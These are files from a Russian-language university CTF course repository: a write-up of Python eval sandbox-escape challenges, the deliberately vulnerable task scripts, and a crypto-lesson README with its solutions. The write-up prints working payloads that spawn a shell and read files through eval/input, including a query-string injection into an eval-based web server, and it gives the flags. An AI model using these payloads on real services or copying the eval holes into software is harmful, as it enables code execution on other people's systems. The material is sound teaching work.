23 | Другой вариант решения состоит в выводе всех доступных глобальных переменных с помощью функции `globals()`.
24 | Это можно сделать таким образом:
25 |
26 | ```
27 | $ nc python.picoctf.com 6361
28 | Welcome to mystery math!
29 | Enter number 1> __import__('sys').stdout.write(str(globals()))
30 | {'__builtins__': , '__file__': '/home/py1/task1.py', '__package__': None, 'flag': 'eval_is_best_thing_evar', '__name__': '__main__', '__doc__': None}Traceback (most recent call last):
31 | File "/home/py1/task1.py", line 9, in
32 | x = x*x + ord(flag[0]) * ord(flag[1]) + ord(flag[2]) * x
33 | TypeError: unsupported operand type(s) for *: 'NoneType' and 'NoneType'
34 | ```
35 |
36 | Можно заметить, что программа упала с ошибкой (`write` вернул `None`, а программа ожидала число и хотела использовать операцию умножения), но сначала все-таки вывела все глобальные переменные.
37 |
38 | ### Решение 3
39 |
40 | Еще одно решение состоит в прочтении файла с исходным кодом сервиса.
41 | Для начала нужно узнать как называется файл:
42 |
43 | ```
44 | $ nc python.picoctf.com 6361
45 | Welcome to mystery math!
46 | Enter number 1> __import__('sys').stdout.write(str(__import__('os').listdir(__import__('os').getcwd())))
47 | ['run.sh', 'task1.py']Traceback (most recent call last):
48 | File "/home/py1/task1.py", line 9, in
49 | x = x*x + ord(flag[0]) * ord(flag[1]) + ord(flag[2]) * x
50 | TypeError: unsupported operand type(s) for *: 'NoneType' and 'NoneType'
51 | ```
52 |
53 | А теперь можно вывести его содержимое:
54 |
55 | ```
56 | $ nc python.picoctf.com 6361
57 | Welcome to mystery math!
58 | Enter number 1> __import__('sys').stdout.write(open('task1.py').read())
59 | #!/usr/bin/python -u
60 | # task1.py
61 | print "Welcome to mystery math!"
62 |
63 | flag = "eval_is_best_thing_evar"
64 |
65 | while True:
66 | x = input("Enter number 1> ")
67 | x = x*x + ord(flag[0]) * ord(flag[1]) + ord(flag[2]) * x
68 | y = input("Enter number 2> ")
69 | if y / 6 + 7 - y == x:
70 | print "Here ya go! ", flag
71 | exit(0)
72 | else:
73 | print "Your lucky number is ", x - y
74 | Traceback (most recent call last):
75 | File "/home/py1/task1.py", line 9, in
76 | x = x*x + ord(flag[0]) * ord(flag[1]) + ord(flag[2]) * x
77 | TypeError: unsupported operand type(s) for *: 'NoneType' and 'NoneType'
78 | ```
79 |
80 | ### Решение 4
81 |
82 | Также можно получить доступ к консоли и прочитать файл оттуда:
83 |
84 | ```
85 | $ nc python.picoctf.com 6361
86 | Welcome to mystery math!
87 | Enter number 1> __import__('os').execlp('sh', 'sh')
88 | ls
89 | run.sh
90 | task1.py
91 | cat task1.py
92 | #!/usr/bin/python -u
93 | # task1.py
94 | print "Welcome to mystery math!"
95 |
96 | flag = "eval_is_best_thing_evar"
97 |
98 | while True:
99 | x = input("Enter number 1> ")
100 | x = x*x + ord(flag[0]) * ord(flag[1]) + ord(flag[2]) * x
101 | y = input("Enter number 2> ")
102 | if y / 6 + 7 - y == x:
103 | print "Here ya go! ", flag
104 | exit(0)
105 | else:
106 | print "Your lucky number is ", x - y
107 | ```
108 |
109 | ## eval2
110 |
111 | Эта программа предлагает юзеру ввести 5 любых цифр, разделенных запятой.
112 | Они по одной сравниваются с 5 случайно сгенеренными неизвестными цифрами, и программа выводит результат сравнения.
113 |
114 | Внимательно посмотрев на исходник, можно понять, что программа примет не только разделенные запятыми цифры, но и любую строку длины 5.
115 | В качестве этой строки можно воспользоваться срезом неизвестной строки flag.
116 | Перебрав несколько таких срезов, можно посимвольно собрать эту строку.
117 |
118 | ```
119 | $ nc python.picoctf.com 6362
120 | Master Mind Game
121 | I've set my code. Guess it!
122 | Rules: You should input your guesses as 5 digits separated by commas.
123 | I will respond by marking the correct digits with a 2, marking
124 | digits in the wrong place with a 1, and marking wrong digits 0.
125 | guess> flag[0:5]
126 | ---------------------
127 | | i | _ | a | r | e |
128 | ---------------------
129 | ---------------------
130 | | 0 | 0 | 0 | 0 | 0 |
131 | ---------------------
132 | ...
133 | guess> flag[20:25]
134 | ---------------------
135 | | r | m | i | n | d |
136 | ---------------------
137 | ---------------------
138 | | 0 | 0 | 0 | 0 | 0 |
139 | ---------------------
140 | guess> flag[21:26]
141 | You must guess a 5-digit code!
142 | ```
143 |
144 | Решения 2-4 из задачи eval1 тут тоже работают.
145 |
146 | ## eval3
147 |
148 | В этой задачке возможность импортировать модули с помощью встроенной функции `__import__` у нас отобрали.
149 | Но зато оставили нам уже заимпортированный модуль `path`.
150 |
151 | Если внимательно посмотреть на его атрибуты с помощью функции `dir`, то можно заметить, что `path` содержит ссылку на модуль `os`:
152 |
153 | ```
154 | $ python
155 | >>> from os import path
156 | >>> dir(path)
157 | ['__all__', '__builtins__', '__doc__', '__file__', '__name__', '__package__', '_joinrealpath', '_unicode', '_uvarprog', '_varprog', 'abspath', 'altsep', 'basename', 'commonprefix', 'curdir', 'defpath', 'devnull', 'dirname', 'exists', 'expanduser', 'expandvars', 'extsep', 'genericpath', 'getatime', 'getctime', 'getmtime', 'getsize', 'isabs', 'isdir', 'isfile', 'islink', 'ismount', 'join', 'lexists', 'normcase', 'normpath', 'os', 'pardir', 'pathsep', 'realpath', 'relpath', 'samefile', 'sameopenfile', 'samestat', 'sep', 'split', 'splitdrive', 'splitext', 'stat', 'supports_unicode_filenames', 'sys', 'walk', 'warnings']
158 | ```
159 |
160 | А значит можно все также воспользоваться функцией `execlp` и получить доступ к консоли:
161 |
162 | ```
163 | $ nc python.picoctf.com 6363
164 | Welcome to the food menu!
165 | Which description do you want to read?
166 | [ 0] $ 7.69 Chicken Asada Burrito
167 | [ 1] $ 6.69 Beef Chow Mein
168 | [ 2] $ 10.49 MeatBurger Deluxe
169 | > path.os.execlp('sh', 'sh')
170 | ls
171 | run.sh
172 | task3.py
173 | your_flag_here
174 | cat your_flag_here
175 | eval_is_super_OSsome
176 | ```
177 |
178 | ## eval4
179 |
180 | В этой задачке необходимо найти уязвимость в веб сервисе, который использует функцию `eval`.
181 |
182 | Общение с веб сервисами происходит по протоколу [HTTP](https://ru.wikipedia.org/wiki/HTTP).
183 | Один из способов сделать [GET запрос](https://ru.wikipedia.org/wiki/HTTP#GET) это отправить его в текстовом виде с помощью `nc`:
184 | ```
185 | $ nc python.picoctf.com 6364
186 | GET /stage4.html
187 |
188 |
189 |
190 |
191 |
192 | Python eval
193 |
194 |
195 |
196 | Part 4
197 | Task 4
198 | ...
199 |
200 |
201 | ```
202 |
203 | В этом сервисе параметры GET запросы преобразуются в питоновский словарь с помощью функции `eval`:
204 | ```
205 | temp = url.rsplit('?', 1)
206 | temp = temp[1].rsplit('#', 1)[0] # Split away fragment id
207 | temp = temp.replace('=', '":"').replace('&', '","') # Turn into python dictonary syntax
208 | query = eval('{"' + temp + '"}')
209 | ```
210 |
211 | Можно заметить, что если `temp` содержит двойную кавычку, то содержимое `temp` после этой кавычки будет интерпретироваться не как строка, а как исполняемый код.
212 | При этом содержимое `temp` не должно ломать парсер Питона.
213 |
214 | Теперь осталось только сделать `exec`.
215 | Один из самых простых вариантов:
216 | ```
217 | $ nc python.picoctf.com 6364
218 | GET /?"+(__builtins__.__import__('os').execlp('sh','sh'))+"
219 |
220 | ls
221 | index.html
222 | run.sh
223 | stage1.html
224 | stage2.html
225 | stage3.html
226 | stage4.html
227 | super_awesome_flag
228 | task4.py
229 | ```
230 |
231 | В результате вызов функции `eval` будет эквивалентен:
232 | ```
233 | eval('{""+(__builtins__.__import__('os').execlp('sh','sh'))+""}')
234 | ```
235 |
236 | И будет исполнено:
237 | ```
238 | { "" + (__builtins__.__import__('os').execlp('sh','sh')) + "" }
239 | ```
240 |
241 | Если бы исполнение кода проложалось после вызова функции `execlp`, то произошла бы ошибка.
242 | Однако `execlp` делает `exec`, и питоновский код дальше не исполняется.
243 |
244 | ## eval5
245 |
246 | http://www.gilgalab.com.br/python/security/2013/05/06/Write-up-PicoCTF-python-eval-5/
247 |
--------------------------------------------------------------------------------
/01-intro/03-eval/examples/eval_examples_0.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 |
4 | # Функция eval вычисляет значение выражения (expression).
5 | print eval('1 + 2')
6 | print eval('[0, 1] + [2, 3]')
7 |
8 | # input() == eval(raw_input())
9 | print raw_input()
10 | print input()
11 |
--------------------------------------------------------------------------------
/01-intro/03-eval/examples/eval_examples_1.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 |
4 | import random
5 |
6 | num = random.randint(1, 100)
7 |
8 | print "Guess the number! 1 to 100."
9 |
10 | while True:
11 | guess = input('Your guess> ')
12 | if guess != num:
13 | print "Nope,", guess, "is wrong."
14 | else:
15 | print "You win!"
16 | break
17 |
18 | # 1 + 1
19 | # [1, 2] + [3, 4]
20 | # !@#$%
21 | # hello
22 | # num
23 | # print num
24 | # num + 1
25 | # str(num)
26 | # locals()
27 | # globals()
28 |
--------------------------------------------------------------------------------
/01-intro/03-eval/examples/eval_examples_2.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 |
4 | import os
5 |
6 | print "What files do you want?"
7 |
8 | files = input('list> ')
9 |
10 | for name in files:
11 | if os.path.exists(name):
12 | with open(name) as f:
13 | print f.read()
14 | else:
15 | print name, "does not exist!"
16 |
17 | # os.system("echo 'i have a shell'")
18 | # os.execlp('sh', 'sh')
19 |
--------------------------------------------------------------------------------
/01-intro/03-eval/examples/eval_examples_3.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 |
4 | print "What files do you want?"
5 |
6 | files = input('list> ')
7 |
8 | for name in files:
9 | try:
10 | with open(name) as f:
11 | print f.read()
12 | except:
13 | print name, "does not exist!"
14 |
15 | # __import__('os').execlp('sh', 'sh')
16 |
--------------------------------------------------------------------------------
/01-intro/03-eval/examples/eval_examples_4.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 |
4 | import os
5 |
6 | print locals()
7 | print globals()
8 |
9 | print dir(os)
10 | print dir([])
11 |
12 | print vars(os)
13 | print os.__dict__
14 |
15 | print dir(__builtins__)
16 | print __builtins__.__dict__
17 |
18 | del __builtins__.__dict__['__import__']
19 |
20 | try:
21 | sys = __import__('sys')
22 | except:
23 | print 'Failed'
24 |
25 | print dir(os)
26 | sys = os.sys
27 |
--------------------------------------------------------------------------------
/01-intro/03-eval/slides.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/01-intro/03-eval/slides.pdf
--------------------------------------------------------------------------------
/01-intro/03-eval/tasks/eval1.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 |
3 | # task1.py
4 | print "Welcome to mystery math!"
5 |
6 | flag = "xxxxxxxxxx"
7 |
8 | while True:
9 | x = input("Enter number 1> ")
10 | x = x*x + ord(flag[0]) * ord(flag[1]) + ord(flag[2]) * x
11 | y = input("Enter number 2> ")
12 | if y / 6 + 7 - y == x:
13 | print "Here ya go! ", flag
14 | exit(0)
15 | else:
16 | print "Your lucky number is ", x - y
17 |
--------------------------------------------------------------------------------
/01-intro/03-eval/tasks/eval2.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 |
3 | # task2.py
4 | from random import randint
5 |
6 | def printpegs(code):
7 | print " --------------------- "
8 | print " |",
9 | for c in code:
10 | print c, "|",
11 | print ""
12 | print " --------------------- "
13 |
14 | print "Master Mind Game"
15 |
16 | flag = "xxxxxxxxxx"
17 |
18 | mm_code = (randint(0,9), randint(0,9), randint(0,9), randint(0,9), randint(0,9))
19 | print "I've set my code. Guess it!"
20 |
21 | print "Rules: You should input your guesses as 5 digits separated by commas."
22 | print " I will respond by marking the correct digits with a 2, marking"
23 | print " digits in the wrong place with a 1, and marking wrong digits 0."
24 |
25 | while True:
26 | guess = input('guess> ')
27 | if len(guess) != 5:
28 | print "You must guess a 5-digit code!"
29 | continue
30 |
31 | printpegs(guess)
32 |
33 | right = map(lambda x,y: (x == y) + (x in mm_code), guess, mm_code)
34 | printpegs(right)
35 |
36 | if guess == mm_code:
37 | print "You got it right!"
38 | exit(0)
39 |
--------------------------------------------------------------------------------
/01-intro/03-eval/tasks/eval3.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 |
3 | # task3.py
4 | # Remember kids: this is bad code. Try not code like this :P
5 |
6 | from os import path
7 | del __builtins__.__dict__['__import__']
8 | del __builtins__.__dict__['reload']
9 |
10 | print "Welcome to the food menu!"
11 | choices = (
12 | ("Chicken Asada Burrito", 7.69, "caburrito.txt"),
13 | ("Beef Chow Mein", 6.69, "beefchow.txt"),
14 | ("MeatBurger Deluxe", 10.49, "no description"),
15 | # ...
16 | )
17 |
18 | def print_description(n):
19 | print ""
20 | if n >= len(choices):
21 | print "No such item!"
22 | elif not path.exists(choices[n][2]):
23 | print "No description yet, but we promise it's tasty!"
24 | else:
25 | print open(choices[n][2]).read()
26 |
27 | def show_menu():
28 | for i in xrange(len(choices)):
29 | print "[% 2d] $% 3.2f %s" % (i, choices[i][1], choices[i][0])
30 |
31 | while True:
32 | print "Which description do you want to read?"
33 | show_menu()
34 | print_description(input('> '))
35 |
--------------------------------------------------------------------------------
/01-intro/03-eval/tasks/eval4.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python -u
2 | # task4.py
3 | from BaseHTTPServer import HTTPServer,BaseHTTPRequestHandler
4 | from SocketServer import ForkingMixIn
5 | from cgi import escape
6 | from os import path
7 | from sys import stdin,stdout
8 | import traceback
9 |
10 | # Make a simple HTML page from the given content
11 | def makepage(title, content, headers=""):
12 | return """
13 |
14 |
15 |
16 |
17 | %s
18 | %s
19 |
20 |
21 | %s
22 |
23 |
24 | """ % (escape(title), headers, content)
25 |
26 | # from urlparse import urlparse, parse_qs
27 | # uri = urlparse(self.path.lstrip('/'))
28 | # filepath = os.path.normpath(uri.path)
29 | # query = parse_qs(uri.query)
30 |
31 | # Some URL parsing helper functions
32 | def getPathFromURL(url):
33 | temp = url.split('/', 1)[1] # Split away the domain name
34 | return temp.split('?', 1)[0] # Return everything before the query.
35 |
36 | def getQueryDictFromURL(url):
37 | query = None
38 | temp = url.rsplit('?', 1)
39 | if len(temp) == 1:
40 | # No query string!
41 | query = {}
42 | else:
43 | temp = temp[1].rsplit('#', 1)[0] # Split away fragment id
44 | temp = temp.replace('=', '":"').replace('&', '","') # Turn into python dictonary syntax
45 | query = eval('{"' + temp + '"}')
46 |
47 | # Un-percent encode query items
48 | for k in query:
49 | temp = query[k].split('%')
50 | for i in range(1, len(temp)):
51 | temp[i] = eval('"\\x' + temp[i][:2] + '"') + temp[i][2:]
52 | query[k] = ''.join(temp)
53 |
54 | return query
55 |
56 | # The server
57 | class MyHandler(BaseHTTPRequestHandler):
58 | # Customize error messages a bit; not important
59 | def send_error(self, code, message=None):
60 | self.send_response(code)
61 | self.send_header('Content-Type', self.error_content_type)
62 | self.end_headers()
63 | content = "%d %s
" % (code, self.responses[code][0] if message == None else message)
64 | self.wfile.write(makepage("Error %d" % code, content))
65 |
66 | # This is the main function
67 | def do_GET(self):
68 | try:
69 |
70 | # Parse the URL
71 | filepath = getPathFromURL(self.path)
72 | query = getQueryDictFromURL(self.path)
73 |
74 | if not path.exists(filepath):
75 | # Non-existent file!
76 | self.send_error(404)
77 |
78 | elif filepath in ('index.html', 'stage1.html', 'stage2.html', 'stage3.html', 'stage4.html'):
79 | self.send_response(200)
80 | self.send_header('Content-type','text/html')
81 | self.end_headers()
82 | with open(filepath) as f:
83 | self.wfile.write(f.read())
84 |
85 | elif filepath=='task4.py':
86 | self.send_response(200)
87 | self.send_header('Content-type','text/plain')
88 | self.end_headers()
89 | with open(filepath) as f:
90 | self.wfile.write(f.read())
91 |
92 | else:
93 | # Now allowed!
94 | self.send_error(403)
95 |
96 | except:
97 | # Show people the mess they caused!
98 | self.send_response(500)
99 | self.send_header('Content-type','text/html')
100 | self.end_headers()
101 | from sys import exc_type
102 | self.wfile.write(makepage("Traceback %s" % str(exc_type), "%s
" % escape(traceback.format_exc())))
103 |
104 | # To make it easier to play around with this, we'll communicate over stdin/stdout
105 | # like the other exercises instead of listening and forking like a real server.
106 | # A program external to this script handles turning it into a network service.
107 |
108 | class MyStdioHandler(MyHandler):
109 | def __init__(self):
110 | MyHandler.__init__(self, None, 'derp', None)
111 | def setup(self):
112 | self.rfile = stdin
113 | self.wfile = stdout
114 | def log_message(format, *args):
115 | pass
116 |
117 | MyStdioHandler()
118 |
119 | #
120 | # Instead of the above ~10 lines of code, the following turns this
121 | # script into a server on its own.
122 | #
123 | # Serves multiple requests at the same time
124 | # class ForkingHTTPServer(ForkingMixIn, HTTPServer):
125 | # timeout = 10
126 | # max_children = 1000
127 | #
128 | # if __name__ == "__main__":
129 | # server = ForkingHTTPServer(('', 6364), MyHandler)
130 | # try:
131 | # print "Server started on port {0.server_port}, press to exit.".format(server)
132 | # server.serve_forever()
133 | # except KeyboardInterrupt:
134 | # pass
135 | # finally:
136 | # server.server_close()
137 | # print "Server closed."
138 |
--------------------------------------------------------------------------------
/01-intro/03-eval/tasks/eval5.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python -u
2 | # task5.py
3 | # A real challenge for those python masters out there :)
4 |
5 | from sys import modules
6 | modules.clear()
7 | del modules
8 |
9 | _raw_input = raw_input
10 | _BaseException = BaseException
11 | _EOFError = EOFError
12 |
13 | __builtins__.__dict__.clear()
14 | __builtins__ = None
15 |
16 | print 'Get a shell, if you can...'
17 |
18 | while 1:
19 | try:
20 | d = {'x':None}
21 | exec 'x='+_raw_input()[:50] in d
22 | print 'Return Value:', d['x']
23 | except _EOFError, e:
24 | raise e
25 | except _BaseException, e:
26 | print 'Exception:', e
27 |
--------------------------------------------------------------------------------
/01-intro/03-eval/tasks/exec.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 |
3 | from __future__ import print_function
4 |
5 | print("Welcome to my Python sandbox! Enter commands below!")
6 |
7 | banned = [
8 | "import",
9 | "exec",
10 | "eval",
11 | "pickle",
12 | "os",
13 | "subprocess",
14 | "kevin sucks",
15 | "input",
16 | "banned",
17 | "cry sum more",
18 | "sys"
19 | ]
20 |
21 | targets = __builtins__.__dict__.keys()
22 | targets.remove('raw_input')
23 | targets.remove('print')
24 | for x in targets:
25 | del __builtins__.__dict__[x]
26 |
27 | while 1:
28 | print(">>>", end=' ')
29 | data = raw_input()
30 |
31 | for no in banned:
32 | if no.lower() in data.lower():
33 | print("No bueno")
34 | break
35 | else: # this means nobreak
36 | exec data
37 |
--------------------------------------------------------------------------------
/02-crypto/01-symmetric/README.md:
--------------------------------------------------------------------------------
1 | Симметричное шифрование
2 | =======================
3 |
4 | ## Лекция
5 |
6 | [Презентация](https://github.com/xairy/mipt-ctf/blob/master/02-crypto/01-symmetric/slides.pdf)
7 |
8 | [Скринкаст](https://www.youtube.com/watch?v=bbbtWLbEUe4)
9 |
10 | ## Задачи
11 |
12 | Многие задачи взяты [отсюда](https://github.com/vpavlenko/ctf-crypto-tasks).
13 |
14 | ### simple
15 |
16 | ```
17 | 01100010 01101001 01100111 01011111 01100010 01110010 01101111 01110100 01101000 01100101 01110010 01011111 01101001 01110011 01011111 01110111 01100001 01110100 01100011 01101000 01101001 01101110 01100111 01011111 01111001 01101111 01110101
18 | ```
19 |
20 | ### 46esab
21 |
22 | ```
23 | Kw2bvN2X5JXZ29VeyVmdflnclZ3Xzl2X0YTZzFmY
24 | ```
25 |
26 | ### steps
27 |
28 | ```
29 | 5647686c636d56666257463558324a6c58323168626e6c666333526c63484d3d
30 | ```
31 |
32 | ### caesar
33 |
34 | ```
35 | Wkh_Txlfn_Eurzq_Ira_Mxpsv_Ryhu_Wkh_Odcb_Grj
36 | ```
37 |
38 | ### start
39 |
40 | После шифрования текста с помощью [программы](https://github.com/xairy/mipt-ctf/blob/master/02-crypto/01-symmetric/tasks/start.py) был получен [файл](https://github.com/xairy/mipt-ctf/blob/master/02-crypto/01-symmetric/tasks/start.dat). Расшифруйте.
41 |
42 | Файл нужно скачать, нажав на кнопку Raw.
43 | Просто скопировать не получится, поскольку часть данных не отображается браузером.
44 |
45 | ### analyze
46 |
47 | Условие [тут](https://github.com/xairy/mipt-ctf/blob/master/02-crypto/01-symmetric/tasks/analyze.txt).
48 |
49 | Флагом является имя\_автора.
50 |
51 | ### vigenere\*
52 |
53 | После шифрования текста с помощью [программы](https://github.com/xairy/mipt-ctf/blob/master/02-crypto/01-symmetric/tasks/vigenere.py) был получен [файл](https://github.com/xairy/mipt-ctf/blob/master/02-crypto/01-symmetric/tasks/vigenere.dat). Расшифруйте.
54 |
55 | Файл нужно скачать, нажав на кнопку Raw.
56 | Просто скопировать не получится, поскольку часть данных не отображается браузером.
57 |
58 | Флагом являемся имя\_оригинального\_автора.
59 |
60 | ### pad\*
61 |
62 | Одноразовый блокнот.
63 |
64 | ```
65 | 2426d6c3ef1a29652be80311a82c031d3ba564992d2fbf1d3bb3bee6cb523187e64ecb1af636b0a492571de1ac693ca10483736ee37912ccf544233c5507f14a14a8da2877a2b0d16a8cb90ce91bc0192fe733b4b254e834b943bf41278cf922314c9f8433
66 | 242193b0cf1d236520ff145ce339140b69ec65dc2c2fbe0f77abf0f08e502885e759db1af62bf1bc834154f0e97b3ae445897d71f965128df456232e5210f15615be8e3460b8e5cc65d8a35eff0d94153aec22b0b54aba20b90ba24d2796f4226559879571
67 | 2921c6c3c11c2a683dba081fb769050672a27c992e2eba0c77b3f1e18e563f80ee4f8f4af836e3b9985e44a3a8743bf600923075fe721589ba53762d4e16b84d13a88e306caff89e7fc3fa12f91fc01a2db537bcaa42bb34bb06eb5a68c5f939741c87872b
68 | 2726d68d8c0c227569f60311b127510f3ba076d73d33ba1f32e6bef8c7462490ec42c15dbb65e3a09f5356eaa77d68e00b843076e47e1285f44523294f07f14b10abc13571bafeca208cb80be44bc61329f13baabd0dab20a743aa42748aad33741c9c832d
69 | 316ec08ac105216569ee0308b769170777a937d73f23bf0b77a4f1b4cf51349cf642c054f629b0bd9f465ce7a86e29a1118f3060e5640f9fee0277205842a3471cbfcb3525b2fe9e65c2ae1be21bc6133cf426adb543e461a80daf0e738de823745a85943a
70 | 2426d6c3ca07286569ec0302b0201e0035ec5ecd7a25b41623abf7fadd1531d5e144c257f62bf4f0965b53e6e97326f500927660f5724accfc4e622f4610e2161184cd357cabe48e53eeb330f75beb2e07c72fe4bf5da42ea017aa5a6e8ae37170528ec632
71 | 3c2fc786de553a693df24604ab2c510d74a076c92923fb1731eacce1dd463994ec0bea57e72ce2b5da4655e6e96f26e813856272ff631fcced4370685303bc4719fbea286ba8fbd1758c8f10f91dd1043bfc26bdfa4cae35ac11deb5a6f80ad23745b838931
72 | ```
73 |
74 | ### mary\*\*
75 |
76 | Условие [тут](https://github.com/xairy/mipt-ctf/blob/master/02-crypto/01-symmetric/tasks/mary.txt).
77 |
78 | Флагом является произведение года рождения и года смерти автора.
79 |
80 |
81 | ## Флаги
82 |
83 | Отправлять флаги на сервер таким образом:
84 | ```
85 | $ nc andreyknvl.com 9996
86 | username taskname 73c0487d1b4c9326bc4ec5ac09bf69eb
87 | ```
88 | где username - имя для таблицы результатов, а taskname - название задачи.
89 |
90 | Доступна [таблица результатов](https://andreyknvl.com/mipt-ctf).
91 |
92 |
93 | ## Дополнительные задачи
94 |
95 | Смотреть [здесь](https://github.com/vpavlenko/ctf-crypto-tasks).
96 |
97 | ## Разбор задач
98 |
99 | [Разбор задач](https://github.com/xairy/mipt-ctf/blob/master/02-crypto/01-symmetric/WRITEUP.md)
100 |
101 | ## Материалы
102 |
103 | https://github.com/vpavlenko/ctf-crypto-tasks
104 |
105 | [The Absolute Minimum Every Software Developer Absolutely, Positively Must Know About Unicode and Character Sets (No Excuses!)](http://www.joelonsoftware.com/articles/Unicode.html)
106 |
107 | [UTF-8 Everywhere](http://utf8everywhere.org/)
108 |
109 | [Wikipedia: Base64](https://en.wikipedia.org/wiki/Base64)
110 |
111 | [Wikipedia: Caesar cipher](https://en.wikipedia.org/wiki/Caesar_cipher)
112 |
113 | [Wikipedia: Vigenere cipher](https://en.wikipedia.org/wiki/Vigenere_cipher)
114 |
115 | [Wikipedia: One time pad](https://en.wikipedia.org/wiki/One-time_pad)
116 |
117 | TODO: DES, 3DES, AES
118 |
119 | ## Всякое
120 |
121 | [Декодер](https://www.artlebedev.ru/tools/decoder/)
122 |
123 | [Padding oracle attacks: in depth](https://blog.skullsecurity.org/2013/padding-oracle-attacks-in-depth)
124 |
125 | [A padding oracle example](https://blog.skullsecurity.org/2013/a-padding-oracle-example)
126 |
--------------------------------------------------------------------------------
/02-crypto/01-symmetric/WRITEUP.md:
--------------------------------------------------------------------------------
1 | Разбор [задачек по криптографии](https://github.com/xairy/mipt-ctf/tree/master/02-crypto/01-symmetric).
2 |
3 | ## simple
4 |
5 | В условии задачки приведен список двоичных чисел. Судя по тому, что они 8-битные, логично предположить, что каждое число - это символ в ASCII кодировке.
6 |
7 | ```
8 | $ python
9 | >>> a = '01100010 01101001 01100111 01011111 01100010 01110010 01101111 01110100 01101000 01100101 01110010 01011111 01101001 01110011 01011111 01110111 01100001 01110100 01100011 01101000 01101001 01101110 01100111 01011111 01111001 01101111 01110101'
10 | >>> ''.join(map(lambda x: chr(int(x, 2)), a.split()))
11 | 'big_brother_is_watching_you'
12 | ```
13 |
14 | ## 46esab
15 |
16 | Название задачки - это перевернутая строка 'base64'.
17 | Попробуем развернуть строку из условия и раскодировать с помощью base64.
18 |
19 | ```
20 | $ echo 'Kw2bvN2X5JXZ29VeyVmdflnclZ3Xzl2X0YTZzFmY' | rev | base64 --decode
21 | base64_is_very_very_very_cool
22 | ```
23 |
24 | ## steps
25 |
26 | В условии дано длинное шестнадцатиричное число четной длины.
27 | Если разбить его на группы по два символа, то каждая группа будет числом, кодирующим один байт.
28 | Сделаем это и преобразуем каждый байт в символ, в соответствии с ASCII кодировкой.
29 |
30 | ```
31 | $ python
32 | >>> a = '5647686c636d56666257463558324a6c58323168626e6c666333526c63484d3d'
33 | >>> a.decode('hex')
34 | 'VGhlcmVfbWF5X2JlX21hbnlfc3RlcHM='
35 | ```
36 |
37 | Мы получили строку, которая заканчивается на символ '='.
38 | Это типичная особенность base64.
39 | Раскодируем.
40 |
41 | ```
42 | >>> import base64
43 | >>> base64.b64decode(a.decode('hex'))
44 | 'There_may_be_many_steps'
45 | ```
46 |
47 | ## caesar
48 |
49 | Название задачки намекает, что строка была зашифрована шифром Цезаря.
50 | Переберем все возможные сдвиги и для каждого из них выпишем результат дешифровки.
51 |
52 | ```
53 | $ python
54 | >>> a = 'Wkh_Txlfn_Eurzq_Ira_Mxpsv_Ryhu_Wkh_Odcb_Grj'
55 | >>> import string
56 | >>> def rotn(n):
57 | ... from string import ascii_lowercase as lc, ascii_uppercase as uc
58 | ... mapping = string.maketrans(lc + uc, lc[n:] + lc[:n] + uc[n:] + uc[:n])
59 | ... return mapping
60 | ...
61 | >>> for n in xrange(26):
62 | ... a.translate(rotn(n))
63 | ...
64 | 'Wkh_Txlfn_Eurzq_Ira_Mxpsv_Ryhu_Wkh_Odcb_Grj'
65 | 'Xli_Uymgo_Fvsar_Jsb_Nyqtw_Sziv_Xli_Pedc_Hsk'
66 | 'Ymj_Vznhp_Gwtbs_Ktc_Ozrux_Tajw_Ymj_Qfed_Itl'
67 | 'Znk_Waoiq_Hxuct_Lud_Pasvy_Ubkx_Znk_Rgfe_Jum'
68 | 'Aol_Xbpjr_Iyvdu_Mve_Qbtwz_Vcly_Aol_Shgf_Kvn'
69 | 'Bpm_Ycqks_Jzwev_Nwf_Rcuxa_Wdmz_Bpm_Tihg_Lwo'
70 | 'Cqn_Zdrlt_Kaxfw_Oxg_Sdvyb_Xena_Cqn_Ujih_Mxp'
71 | 'Dro_Aesmu_Lbygx_Pyh_Tewzc_Yfob_Dro_Vkji_Nyq'
72 | 'Esp_Bftnv_Mczhy_Qzi_Ufxad_Zgpc_Esp_Wlkj_Ozr'
73 | 'Ftq_Cguow_Ndaiz_Raj_Vgybe_Ahqd_Ftq_Xmlk_Pas'
74 | 'Gur_Dhvpx_Oebja_Sbk_Whzcf_Bire_Gur_Ynml_Qbt'
75 | 'Hvs_Eiwqy_Pfckb_Tcl_Xiadg_Cjsf_Hvs_Zonm_Rcu'
76 | 'Iwt_Fjxrz_Qgdlc_Udm_Yjbeh_Dktg_Iwt_Apon_Sdv'
77 | 'Jxu_Gkysa_Rhemd_Ven_Zkcfi_Eluh_Jxu_Bqpo_Tew'
78 | 'Kyv_Hlztb_Sifne_Wfo_Aldgj_Fmvi_Kyv_Crqp_Ufx'
79 | 'Lzw_Imauc_Tjgof_Xgp_Bmehk_Gnwj_Lzw_Dsrq_Vgy'
80 | 'Max_Jnbvd_Ukhpg_Yhq_Cnfil_Hoxk_Max_Etsr_Whz'
81 | 'Nby_Kocwe_Vliqh_Zir_Dogjm_Ipyl_Nby_Futs_Xia'
82 | 'Ocz_Lpdxf_Wmjri_Ajs_Ephkn_Jqzm_Ocz_Gvut_Yjb'
83 | 'Pda_Mqeyg_Xnksj_Bkt_Fqilo_Kran_Pda_Hwvu_Zkc'
84 | 'Qeb_Nrfzh_Yoltk_Clu_Grjmp_Lsbo_Qeb_Ixwv_Ald'
85 | 'Rfc_Osgai_Zpmul_Dmv_Hsknq_Mtcp_Rfc_Jyxw_Bme'
86 | 'Sgd_Pthbj_Aqnvm_Enw_Itlor_Nudq_Sgd_Kzyx_Cnf'
87 | 'The_Quick_Brown_Fox_Jumps_Over_The_Lazy_Dog'
